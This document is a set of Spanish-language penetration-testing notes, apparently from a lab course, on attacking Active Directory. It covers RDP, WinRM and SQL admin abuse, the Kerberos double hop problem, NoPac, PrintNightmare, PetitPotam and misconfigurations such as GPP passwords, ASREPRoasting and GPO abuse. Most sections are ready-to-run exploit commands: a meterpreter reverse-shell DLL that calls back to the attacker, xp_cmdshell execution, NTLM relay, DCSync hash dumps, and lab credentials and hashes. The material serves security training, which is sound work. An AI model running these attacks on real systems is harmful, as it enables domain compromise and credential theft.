Privileged Access - RDP, WinRM y SQL Admin
Enumeración y abuso de derechos de acceso remoto privilegiado en Active Directory: quién puede conectarse via RDP, WinRM, o tiene privilegios administrativos en instancias SQL Server del dominio.
Links: CanRDP - BloodHound | CanPSRemote - BloodHound | SQLAdmin - BloodHound | PowerView | Snaffler | PowerUpSQL | Impacket mssqlclient.py | evil-winrm
Enumeración general con BloodHound
Los edges CanRDP, CanPSRemote, y SQLAdmin indican qué tipos de acceso remoto privilegiado tiene un usuario dado. Revisar la pestaña Node Info del usuario, o usar queries Cypher personalizadas.
Remote Desktop (RDP)
Enumerar el grupo Remote Desktop Users en un host (Windows)
Import-Module .\PowerView.ps1
Get-NetLocalGroupMember -ComputerName <host_objetivo> -GroupName "Remote Desktop Users"Queries predefinidas en BloodHound
Find Workstations where Domain Users can RDPFind Servers where Domain Users can RDP
Equivalente desde Linux
# Enumerar miembros del grupo local Remote Desktop Users vía RPC
netexec smb <IP_host> -u <usuario> -p '<password>' --rid-brute | grep -i "remote desktop"
# O directamente con rpcclient
rpcclient -U DOMAIN/<usuario>%'<password>' <IP_host>
rpcclient $> queryaliasmem builtin \x0000022bConectarse vía RDP desde Linux
xfreerdp /u:<usuario> /p:'<password>' /d:domain.local /v:<IP_host>WinRM
El grupo Remote Management Users existe desde Windows 8/Server 2012 para habilitar acceso WinRM sin otorgar derechos de administrador local.
Enumerar el grupo Remote Management Users (Windows)
Get-NetLocalGroupMember -ComputerName <host_objetivo> -GroupName "Remote Management Users"Query Cypher en BloodHound para CanPSRemote
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2Establecer sesión WinRM desde Windows
$password = ConvertTo-SecureString "<password>" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("DOMAIN\<usuario>", $password)
Enter-PSSession -ComputerName <host_objetivo> -Credential $credEstablecer sesión WinRM desde Linux (evil-winrm)
# Con contraseña
evil-winrm -i <IP_host> -u <usuario> -p '<password>'
# Con hash NTLM
evil-winrm -i <IP_host> -u <usuario> -H <NTHASH>
# Con autenticación Kerberos
evil-winrm -i <IP_host> -r domain.local --spn <SPN_prefix>Para Kerberos, configurar
/etc/krb5.confcon el realm correspondiente:DOMAIN.LOCAL = { kdc = dc01.domain.local }
SQL Server Admin
Buscar credenciales de SQL Server en archivos de configuración
Usar Snaffler para localizar archivos web.config u otros con cadenas de conexión SQL expuestas.
Snaffler.exe -s -o snaffler_output.txtVerificar SQLAdmin en BloodHound
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2Enumerar instancias MSSQL del dominio (Windows - PowerUpSQL)
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomainEjecutar una query de prueba
Get-SQLQuery -Verbose -Instance "<IP_SQL>,1433" -username "domain\<usuario>" -password "<password>" -query 'Select @@version'Ejecutar comandos del sistema vía xp_cmdshell (Windows)
Import-Module .\PowerUpSQL.ps1
Get-SQLQuery -Instance "<IP_SQL>,1433" -username "domain\<usuario>" -password "<password>" -query 'EXEC xp_cmdshell "whoami";'Conectarse desde Linux con mssqlclient.py
mssqlclient.py DOMAIN/<usuario>@<IP_SQL> -windows-authComandos útiles dentro de mssqlclient.py
SQL> help
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami /priv
SQL> disable_xp_cmdshellVerificar privilegios tras obtener ejecución de comandos
xp_cmdshell whoami /privBuscar privilegios como SeImpersonatePrivilege (habilitado) — potencial vector de escalada local (ej: PrintSpoofer, JuicyPotato).
Resumen del flujo
- Identificar el edge correspondiente en BloodHound (
CanRDP,CanPSRemote,SQLAdmin) - Enumerar membresía de grupos locales con
Get-NetLocalGroupMember(Windows) orpcclient/netexec(Linux) - Conectar según el vector:
Enter-PSSession/evil-winrmpara WinRM,xfreerdppara RDP,mssqlclient.py/PowerUpSQLpara SQL - Si hay acceso SQL, habilitar
xp_cmdshellpara ejecución de comandos del sistema - Revisar privilegios locales tras obtener ejecución para posible escalada adicional
Kerberos "Double Hop" Problem
¿Qué es?
Problema que ocurre al usar autenticación Kerberos a través de dos o más saltos en una red. Al conectarse a un primer servidor vía WinRM, el ticket Kerberos no se reenvía automáticamente al segundo salto, impidiendo acceder a recursos adicionales del dominio desde ahí.
Links: Kerberos Double Hop - SpecterOps | PowerView | evil-winrm
Esquema del problema
Host atacante → HOST01 (Primer Hop) → DC01 (Segundo Hop)
Comando ejecutado en HOST01
↓
PowerView intenta consultar LDAP
↓
Busca DC01 automáticamente (vía DNS del dominio)
↓
DC01 pide autenticación Kerberos
↓
No hay TGT disponible → ACCESO DENEGADOPor qué ocurre
Kerberos trabaja con tickets, no con contraseñas. Al conectarse vía WinRM:
- TGS (Ticket Granting Service) — Sí se envía. Sirve para acceder al servicio específico (ej: WinRM) del primer host.
- TGT (Ticket Granting Ticket) — No se envía. Es lo que permite probar la identidad ante otros recursos del dominio (segundo salto).
Sin el TGT disponible en el primer servidor, Kerberos no puede autenticar al segundo recurso ni a otros servicios del dominio.
Con PSExec o RDP, en cambio, el hash NTLM queda almacenado en memoria del proceso y sí puede reutilizarse en saltos posteriores — por eso esos métodos no sufren el problema del doble salto.
Comparativa de métodos de acceso
- WinRM / evil-winrm — NTLM en memoria: No. TGT disponible: No. Sufre Double Hop.
- PSExec — NTLM en memoria: Sí. TGT disponible: Sí. No sufre Double Hop.
- RDP — NTLM en memoria: Sí. TGT disponible: Sí. No sufre Double Hop.
Verificar el problema con klist
Desde una sesión WinRM (afectada)
klist
# Cached Tickets: (1)
# Server: HTTP/host01.domain.local <- Solo el ticket del servicio localDesde una sesión RDP (no afectada)
klist
# Cached Tickets: (4)
# Server: krbtgt/DOMAIN.LOCAL <- TGT presente
# Server: cifs/DC01.DOMAIN.LOCALWorkaround 1 — Objeto PSCredential
Crear un objeto de credenciales y pasarlo manualmente en cada comando que lo necesite.
Paso 1 - Crear el objeto PSCredential
$SecPassword = ConvertTo-SecureString '<password>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\<usuario>', $SecPassword)Paso 2 - Usarlo en los comandos de PowerView u otra herramienta
# Con credencial → funciona
Get-DomainUser -SPN -Credential $Cred | Select samaccountname
# Sin credencial → falla por Double Hop
Get-DomainUser -SPN | Select samaccountnameVentajas / Limitaciones
- Ventaja: Funciona desde evil-winrm, fácil de implementar
- Limitación: Hay que pasar
-Credential $Creden cada comando; no todas las herramientas lo soportan
Workaround 2 — Register-PSSessionConfiguration
Registra una sesión especial que impersona al usuario directamente desde la máquina local del atacante, eliminando el problema de forma transparente.
Importante: Se ejecuta desde una sesión Windows real (RDP/consola), no desde evil-winrm.
Paso 1 - Registrar la sesión con impersonación
Register-PSSessionConfiguration -Name sesionadm -RunAsCredential DOMAIN\<usuario>Paso 2 - Reiniciar el servicio WinRM
Restart-Service WinRMEste paso desconecta la sesión actual.
Paso 3 - Reconectarse usando la sesión registrada
Enter-PSSession -ComputerName <host_objetivo> -Credential DOMAIN\<usuario> -ConfigurationName sesionadmPaso 4 - Verificar que el TGT ahora está cacheado
klist
# Cached Tickets: (1)
# Server: krbtgt/DOMAIN.LOCAL <- TGT presentePaso 5 - Usar herramientas normalmente sin pasar credenciales
Get-DomainUser -SPN | Select samaccountnameVentajas / Limitaciones
- Ventaja: No requiere
-Credentialen cada comando; solución más limpia y compatible con más herramientas - Limitación: Requiere acceso GUI/consola Windows real; no funciona desde evil-winrm ni desde Linux directamente
Otros métodos (avanzados)
- CredSSP — Delega credenciales completas al segundo salto, pero introduce un riesgo de seguridad adicional (las credenciales quedan expuestas en el servidor intermedio).
- Port Forwarding — Redirigir puertos para conectar directamente al recurso del segundo salto, evitando el problema.
- Sacrificial Process — Inyectar en un proceso que ya corre en el contexto del usuario objetivo (similar al concepto usado en Pass-the-Ticket con Rubeus
createnetonly).
Resumen rápido de decisión
- Con evil-winrm disponible → usar Workaround 1 (
PSCredential) - Con acceso GUI/consola Windows real → usar Workaround 2 (
Register-PSSessionConfiguration) - Con RDP o PSExec disponibles → no hay Double Hop, usar directamente sin workarounds
Bleeding Edge Vulnerabilities — AD
Tres ataques que van desde un usuario de dominio estándar hasta comprometer todo el dominio. Todos explotan vulnerabilidades de 2021 que muchas organizaciones aún no han parcheado.
1. NoPac — SamAccountName Spoofing
¿Qué explota?
Dos CVEs combinados: CVE-2021-42278 y CVE-2021-42287.
El truco es que por defecto cualquier usuario autenticado puede agregar hasta 10 computadoras al dominio. NoPac crea una máquina, le cambia el nombre para que coincida exactamente con el nombre del Domain Controller (su SamAccountName), y luego solicita un ticket Kerberos. El KDC, al buscar el nombre más parecido, emite el ticket como si fuera el DC. Con eso tienes acceso como el DC mismo.
Verificar si el dominio es vulnerable
sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldapEsto intenta obtener un TGT desde el DC usando credenciales normales. Si lo consigue y ves ms-DS-MachineAccountQuota = 10, el sistema es vulnerable. Si ese valor es 0, el ataque no funciona porque no puedes crear máquinas en el dominio.
Obtener una shell como SYSTEM en el DC
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldapLo que hace internamente:
- Crea una cuenta de máquina nueva (ej.
WIN-LWJFQMAXRVN$) - Renombra esa cuenta para que sea igual al DC (
ACADEMY-EA-DC01) - Pide un TGT — el KDC lo emite pensando que es el DC
- Restaura el nombre original para no levantar sospechas
- Usa ese TGT para impersonar al Administrator y abre una shell via smbexec
La shell que obtienes usa smbexec.py, lo que significa que debes usar rutas absolutas en los comandos porque no puedes navegar con cd.
Hacer DCSync directo (sin shell)
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administratorEsto usa secretsdump.py internamente y vuelca el hash NTLM del Administrator directamente. El flag -dump hace el DCSync y -just-dc-user limita el dump a un usuario específico para no hacer ruido innecesario.
El TGT queda guardado en disco como un archivo .ccache en el directorio donde corres el exploit.
2. PrintNightmare — CVE-2021-1675 / CVE-2021-34527
¿Qué explota?
Una vulnerabilidad en el servicio Print Spooler que corre en todos los sistemas Windows. Permite cargar una DLL maliciosa de forma remota a través del protocolo de impresión, ejecutándola con privilegios SYSTEM.
Verificar si el objetivo expone el protocolo de impresión
rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'
impacket-rpcdump @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'Si ves MS-RPRN o MS-PAR en la salida, el servicio está expuesto y el ataque es viable.
Generar el payload DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dllCrea una DLL que al ser ejecutada en el objetivo levanta una reverse shell hacia tu máquina en el puerto 8080.
Servir la DLL via SMB
sudo smbserver.py -smb2support CompData /path/to/backupscript.dllEl objetivo necesita poder acceder a tu DLL. La sirves por SMB porque el Print Spooler tiene permisos para cargar drivers desde rutas UNC (\\ip\share\archivo). El flag -smb2support es necesario porque Windows moderno rechaza SMBv1.
Preparar el listener en Metasploit
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.5.225
set LPORT 8080
runEste listener queda esperando la conexión que hará la DLL cuando el objetivo la ejecute.
Lanzar el exploit
sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'Le dices al Print Spooler del DC que cargue un driver desde tu share SMB. El servicio lo hace con privilegios SYSTEM, ejecuta tu DLL, y obtienes la reverse shell. El resultado es una sesión Meterpreter como NT AUTHORITY\SYSTEM directamente en el DC.
3. PetitPotam — CVE-2021-36942
¿Qué explota?
Una vulnerabilidad en MS-EFSRPC (Encrypting File System Remote Protocol) que permite forzar a un DC a autenticarse contra tu máquina sin necesidad de credenciales. Esa autenticación NTLM entrante la retransmites hacia los Active Directory Certificate Services (AD CS) para obtener un certificado válido del DC. Con ese certificado puedes pedir un TGT del DC y hacer DCSync.
El flujo completo es: Tu máquina fuerza al DC a autenticarse -> capturas esa autenticación NTLM -> la retransmites al servidor de certificados (CA) -> el CA te entrega un certificado del DC -> usas ese certificado para pedir un TGT del DC -> con el TGT haces DCSync.
Paso 1 — Levantar el relay NTLM apuntando al servidor de certificados
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainControllerEsto pone a escuchar tu máquina para recibir autenticaciones NTLM y retransmitirlas al Web Enrollment del CA. El flag --adcs le dice que quieres un certificado, y --template DomainController especifica qué plantilla de certificado solicitar.
Paso 2 — Forzar al DC a autenticarse contra tu máquina
python3 PetitPotam.py 172.16.5.225 172.16.5.5El primer IP es tu máquina (donde está escuchando ntlmrelayx), el segundo es el DC. PetitPotam llama a la función EfsRpcOpenFileRaw del DC vía LSARPC, lo que provoca que el DC inicie una autenticación NTLM hacia ti. Esa autenticación la captura ntlmrelayx y la retransmite al CA, que devuelve un certificado en base64.
Paso 3 — Usar el certificado para pedir un TGT del DC
python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 MIIStQIBAzCCEn8G...SNIP...= dc01.ccacheCon el certificado en base64 que obtuvo ntlmrelayx, pides un TGT para la cuenta de máquina del DC (ACADEMY-EA-DC01$). El TGT se guarda en dc01.ccache. Guarda también el AS-REP encryption key que te muestra la salida, lo necesitas después.
Paso 4 — Configurar la variable de entorno para usar el ticket
export KRB5CCNAME=dc01.ccacheLe dices al sistema que use ese archivo ccache para autenticación Kerberos en los siguientes comandos.
Paso 5 — DCSync con el TGT del DC
secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCALCon el TGT del DC en memoria, secretsdump.py se conecta al DC usando Kerberos (-k) y sin contraseña (-no-pass) porque ya tienes el ticket. Vuelca el hash NTLM del Administrator.
Alternativa — Obtener el NT hash sin hacer DCSync
python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$Usando el AS-REP encryption key que guardaste en el paso 3, este script usa Kerberos U2U para solicitar un TGS que contiene el NT hash del DC dentro del PAC (Privileged Attribute Certificate). Lo descifra con esa key y te da el hash directamente, sin necesitar hacer DCSync.
Con ese hash puedes hacer DCSync via Pass-the-Hash
secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4baConfirmar acceso de administrador al DC
crackmapexec smb 172.16.5.5 -u administrator -H 88ad09182de639ccc6579eb0849751cfSi ves Pwn3d! en la salida, tienes control total del DC con el hash del Administrator.
Resumen
NoPac — Crear máquina en el dominio, spoofear el nombre del DC, obtener TGT como DC, impersonar Administrator, shell o DCSync.
PrintNightmare — Generar DLL maliciosa, servirla por SMB, forzar al Print Spooler del DC a cargarla, obtener SYSTEM shell.
PetitPotam — Forzar autenticación NTLM del DC, retransmitirla al CA para obtener certificado, convertir certificado en TGT del DC, usar TGT para DCSync.
Miscellaneous Misconfigurations — AD
Colección de malas configuraciones comunes que se encuentran en evaluaciones reales. Cada una puede ser suficiente para comprometer el dominio completa o parcialmente.
1. Exchange y Privilegios Elevados
¿Qué se explota?
El grupo Exchange Windows Permissions tiene permisos para escribir DACLs en el objeto del dominio. Eso se puede usar para otorgarse privilegios DCSync a uno mismo. El grupo Organization Management tiene control total sobre Microsoft Exchange Security Groups, que contiene al anterior.
Comprometer un servidor Exchange casi siempre lleva a Domain Admin porque los usuarios se autentican en Outlook Web Access (OWA) y Exchange cachea sus credenciales en memoria. Hacer un dump de memoria en un servidor Exchange puede devolver decenas o cientos de credenciales en texto claro o hashes NTLM.
Herramientas para escalar desde Exchange: https://github.com/gdedrouas/Exchange-AD-Privesc
PrivExchange
El servicio Exchange corre como SYSTEM y tiene WriteDacl sobre el dominio por defecto (versiones pre-2019 Cumulative Update). Cualquier usuario de dominio con buzón puede forzar al servidor Exchange a autenticarse contra un host controlado por el atacante vía HTTP, y esa autenticación se puede retransmitir a LDAP para dumpear NTDS o escalar privilegios directamente a Domain Admin.
2. Printer Bug — MS-RPRN
¿Qué se explota?
Una falla en el protocolo MS-RPRN (Print System Remote Protocol). Cualquier usuario de dominio puede conectarse al named pipe del spooler via RpcOpenPrinter y usar RpcRemoteFindFirstPrinterChangeNotificationEx para forzar al servidor a autenticarse contra cualquier host que el atacante indique, sobre SMB. El spooler corre como SYSTEM.
Esa autenticación entrante puede retransmitirse a LDAP para otorgarse DCSync, o usarse para configurar Resource-Based Constrained Delegation (RBCD) sobre la víctima.
También sirve para atacar a través de forest trusts si el objetivo tiene Unconstrained Delegation habilitado.
Herramienta para verificar: https://github.com/vletoux/SpoolerScanner Script alternativo: SecurityAssessment.ps1
- https://blog.sygnia.co/demystifying-the-print-nightmare-vulnerability
- https://github.com/itzvenom/Security-Assessment-PS
- https://github.com/NotMedic/NetNTLMtoSilverTicket
Verificar si el spooler está activo en el DC
Import-Module .\SecurityAssessment.ps1
Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCALSi devuelve True, el servicio está corriendo y el host es vulnerable.
3. MS14-068 — Forged PAC
¿Qué se explota?
Una falla en el protocolo Kerberos que permite a cualquier usuario de dominio forjar un PAC (Privilege Attribute Certificate) y hacerse pasar por miembro de Domain Admins. El KDC aceptaba el PAC falsificado como legítimo. Solo se mitiga con parche.
Herramientas: PyKEK o Impacket. Ejemplo práctico en HTB: máquina Mantis.
4. Sniffing de Credenciales LDAP
¿Qué se explota?
Muchas aplicaciones y impresoras almacenan credenciales LDAP en sus consolas web de administración para conectarse al dominio. Estas consolas frecuentemente tienen contraseñas débiles o por defecto. Algunas tienen una función de "test connection" que se puede abusar cambiando la IP de LDAP a la del atacante y levantando un listener en el puerto 389.
Cuando el dispositivo intenta testear la conexión, envía las credenciales al atacante, muchas veces en texto claro. Las cuentas usadas para LDAP suelen ser privilegiadas.
# Listener simple para capturar la autenticación LDAP
nc -lvnp 3895. Enumeración de DNS con adidnsdump
¿Qué se explota?
Por defecto, todos los usuarios autenticados pueden listar los objetos hijo de una zona DNS en AD. Las consultas DNS via LDAP no devuelven todos los registros, pero adidnsdump los obtiene todos resolviendo los que aparecen en blanco.
Esto puede revelar hosts con nombres descriptivos (JENKINS, GITLAB, etc.) que no aparecen en enumeraciones normales y que son objetivos de alto valor.
Herramienta: https://github.com/dirkjanm/adidnsdump
Enumerar todos los registros DNS del dominio
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5Genera un archivo records.csv. En la primera pasada, los registros desconocidos aparecen como ?.
Resolver los registros desconocidos
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -rEl flag -r hace consultas A adicionales para intentar resolver los registros que quedaron en blanco, revelando IPs de hosts que de otra forma estarían ocultos.
6. Contraseñas en el Campo Description
¿Qué se explota?
Administradores a veces dejan contraseñas en el campo Description o Notes de cuentas de usuario en AD. Cualquier usuario autenticado puede leer estos campos.
Buscar contraseñas en el campo Description con PowerView
Get-DomainUser * | Select-Object samaccountname,description | Where-Object {$_.Description -ne $null}
samaccountname description
-------------- -----------
administrator Built-in account for administering the computer/domain
guest Built-in account for guest access to the computer/domain
krbtgt Key Distribution Center Service Account
ldap.agent *** DO NOT CHANGE *** 3/12/2012: Sunsh1ne4All!Busca en todos los usuarios del dominio y filtra solo los que tienen algo en el campo description. Es común encontrar notas como "*** DO NOT CHANGE *** password: Sunsh1ne4All!".
7. PASSWD_NOTREQD
¿Qué se explota?
El atributo passwd_notreqd en userAccountControl indica que la cuenta no está sujeta a la política de contraseñas del dominio. Esto significa que puede tener una contraseña muy corta o ninguna contraseña. Vale la pena probar login sin contraseña en cada cuenta que tenga este flag.
Buscar cuentas con PASSWD_NOTREQD
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
samaccountname useraccountcontrol
-------------- ------------------
guest ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
mlowe PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ehamilton PASSWD_NOTREQD, NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
$725000-9jb50uejje9f ACCOUNTDISABLE, PASSWD_NOTREQD, NORMAL_ACCOUNT
nagiosagent PASSWD_NOTREQD, NORMAL_ACCOUNT8. Credenciales en SYSVOL y Scripts
¿Qué se explota?
El share SYSVOL es accesible por todos los usuarios autenticados del dominio. Dentro de la carpeta scripts suelen haber scripts de batch, VBScript y PowerShell que pueden contener contraseñas hardcodeadas, a veces para el administrador local de todos los hosts del dominio.
Listar el contenido de scripts en SYSVOL
ls \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scriptsLeer el contenido de un script sospechoso
cat \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts\reset_local_admin_pass.vbsSi encuentras una contraseña de administrador local, puedes verificar en qué hosts sigue siendo válida con CrackMapExec usando --local-auth.
9. GPP Passwords (Group Policy Preferences)
¿Qué se explota?
Cuando se crea una GPP, se genera un archivo XML en SYSVOL que puede contener contraseñas cifradas con AES-256 en el atributo cpassword. El problema es que Microsoft publicó la clave privada AES en MSDN, por lo que cualquier usuario autenticado puede leer el archivo y descifrar la contraseña. El parche MS14-025 (2014) evita que se creen nuevas GPP con contraseñas, pero no elimina las existentes en SYSVOL.
Los archivos que pueden contener contraseñas son: Groups.xml, drives.xml, printers.xml, services.xml, scheduledtasks.xml, Registry.xml.
Descifrar manualmente un cpassword
gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaEDevuelve la contraseña en texto claro directamente.
Buscar GPP passwords automáticamente con CrackMapExec
# Ver qué módulos GPP están disponibles
crackmapexec smb -L | grep gpp
# Buscar GPP passwords en SYSVOL
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_password
# Buscar autologon configurado via GPP (Registry.xml)
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologinEl módulo gpp_autologin busca el archivo Registry.xml que se genera cuando se configura autologon via GPO. A diferencia de las GPP passwords comunes, estas credenciales no están cifradas, están en texto claro en SYSVOL y cualquier usuario autenticado puede leerlas.
- https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-gpp_autologin
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1
10. ASREPRoasting
¿Qué se explota?
Si una cuenta tiene el flag Do not require Kerberos pre-authentication activado, cualquier persona puede solicitar un AS-REP para esa cuenta sin necesidad de conocer su contraseña. El AS-REP viene cifrado con la clave derivada de la contraseña del usuario, y se puede crackear offline.
Es similar a Kerberoasting pero ataca el AS-REP en lugar del TGS-REP, y no requiere un SPN en la cuenta objetivo.
Si tienes GenericWrite o GenericAll sobre una cuenta, puedes activar este flag temporalmente, obtener el AS-REP, crackearlo, y desactivar el flag.
Enumerar cuentas sin pre-autenticación con PowerView
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | flObtener el AS-REP con Rubeus para crackear con Hashcat
.\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcatEl flag /nowrap evita que el ticket se parta en columnas, entregándolo en un formato que se puede pegar directamente en Hashcat. Sin este flag el hash queda inutilizable.
Crackear el hash offline con Hashcat
hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txtEl modo 18200 es específico para hashes Kerberos 5 AS-REP (etype 23).
Enumerar usuarios válidos Y obtener AS-REPs al mismo tiempo con Kerbrute
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txtKerbrute automáticamente vuelca el AS-REP en formato Hashcat para cualquier usuario que encuentre sin pre-autenticación durante la enumeración. Dos ataques en uno.
Hacer ASREPRoasting desde Linux sin credenciales (con lista de usuarios)
GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_usersNo necesitas credenciales de dominio. Solo una lista de usuarios válidos. Los que no tienen el flag configurado devuelven error, los que sí devuelven el hash listo para crackear.
11. GPO Abuse
¿Qué se explota?
Si un usuario o grupo tiene derechos de escritura sobre un GPO (via ACL misconfiguration), puede modificar esa GPO para ejecutar comandos en todos los equipos de las OUs donde está aplicada. Esto puede usarse para agregar admins locales, crear tareas programadas, lanzar reverse shells, o establecer persistencia.
- https://github.com/Group3r/Group3r
- https://github.com/sense-of-security/ADRecon
- https://www.pingcastle.com/
Enumerar GPOs existentes con PowerView
Get-DomainGPO | select displaynameEnumerar GPOs con cmdlets nativos de Windows
Get-GPO -All | Select DisplayNameVerificar si Domain Users tiene derechos sobre alguna GPO
$sid = Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
ObjectDN : CN={7CA9C789-14CE-46E3-A722-83F4097AF532},CN=Policies,CN=System,DC=INLANEFREIGHT,DC=LOCAL
ObjectSID :
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, Delete, GenericExecute, WriteDacl,
WriteOwner
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 983095
SecurityIdentifier : S-1-5-21-3842939050-3880317879-2865463114-513
AceType : AccessAllowed
AceFlags : ObjectInherit, ContainerInherit
IsInherited : False
InheritanceFlags : ContainerInherit, ObjectInherit
PropagationFlags : None
AuditFlags : NoneSi el resultado muestra derechos como WriteProperty, WriteDacl, o WriteOwner, tienes control sobre esa GPO. El campo ObjectDN contiene el GUID de la GPO.
Convertir el GUID de la GPO a nombre legible
Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532Explotar la GPO con SharpGPOAbuse
# Agregar usuario al grupo de administradores locales en hosts afectados
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount backupadm --GPOName "Disconnect Idle RDP"
# Crear tarea programada inmediata para ejecutar un comando
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author INLANEFREIGHT\Administrator --Command "cmd.exe" --Arguments "/c powershell -enc <base64>" --GPOName "Disconnect Idle RDP"Importante: antes de explotar, verificar en BloodHound a cuántos equipos aplica esa GPO. Modificar una GPO que afecta 1000 hosts puede causar un incidente grave. SharpGPOAbuse permite especificar un host objetivo con --ComputerName para limitar el impacto.
Herramienta: https://github.com/FSecureLABS/SharpGPOAbuse
Resumen de qué buscar en cada evaluación
Buscar contraseñas en campos Description de usuarios en AD. Buscar cuentas con PASSWD_NOTREQD. Revisar scripts en SYSVOL buscando credenciales hardcodeadas. Buscar archivos GPP XML en SYSVOL con cpassword. Buscar autologon configurado via GPP (Registry.xml). Enumerar todos los registros DNS con adidnsdump para descubrir hosts ocultos. Identificar cuentas sin pre-autenticación Kerberos y hacer ASREPRoasting. Verificar permisos de usuarios sobre GPOs y si son abusables. Verificar si el spooler está activo en DCs para Printer Bug. Verificar membresía en grupos de Exchange para posible escalada.